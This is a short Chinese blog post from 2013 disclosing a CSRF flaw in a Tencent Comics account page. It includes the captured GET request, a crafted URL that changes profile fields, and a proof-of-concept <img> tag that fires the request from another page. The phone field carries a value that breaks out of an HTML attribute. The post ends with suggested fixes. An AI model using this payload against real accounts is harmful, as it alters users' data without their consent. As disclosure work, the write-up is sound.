← 返回终端 ~/blog/blog/2013/09/27/1200-11.html 全部文章

腾讯动漫某处csrf

2013-09-27 12:00 #漏洞发布 约 3 分钟

腾讯动漫某处csrf

Author y0umer

0x001 触发点

0x002 分析

0x003 利用Poc

0x004 修复方案

0x001 触发点

http://ac.qq.com/MyComic/contact

0x002 分析

点击确定按钮后,抓包

GET /MyComic/modifyArtistConteact?name=1232&identity_no=123&phone=%22%3E123******012 HTTP/1.1

Host: ac.qq.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://ac.qq.com/MyComic/contact

Cookie: 马赛克

Connection: keep-alive

传参:

identity_no

123

name

1232

phone

">123******012

仔细一看,居然是get请求.修改信息能用get吗.不自觉的点了下源码查看.

发现有tokenKey 但是...没包含在from标签内.

那么我们get请求下以下网址..

http://ac.qq.com/MyComic/modifyArtistConteact?name=我是校长

&identity_no=123&phone=%22%3E123******012

然后发现,真的被改了!!

0x003 利用Poc

因为是get请求,所以直接一个img标签完事.

<img src="http://ac.qq.com/MyComic/modifyArtistConteact?name=helloword&identity_no=123&phone=%22%3E123******012"/>

然后就没有然后了..

0x004 修复方案

1.修改为Post并且把TokenKey加到from表单内;

2.建议开除程序员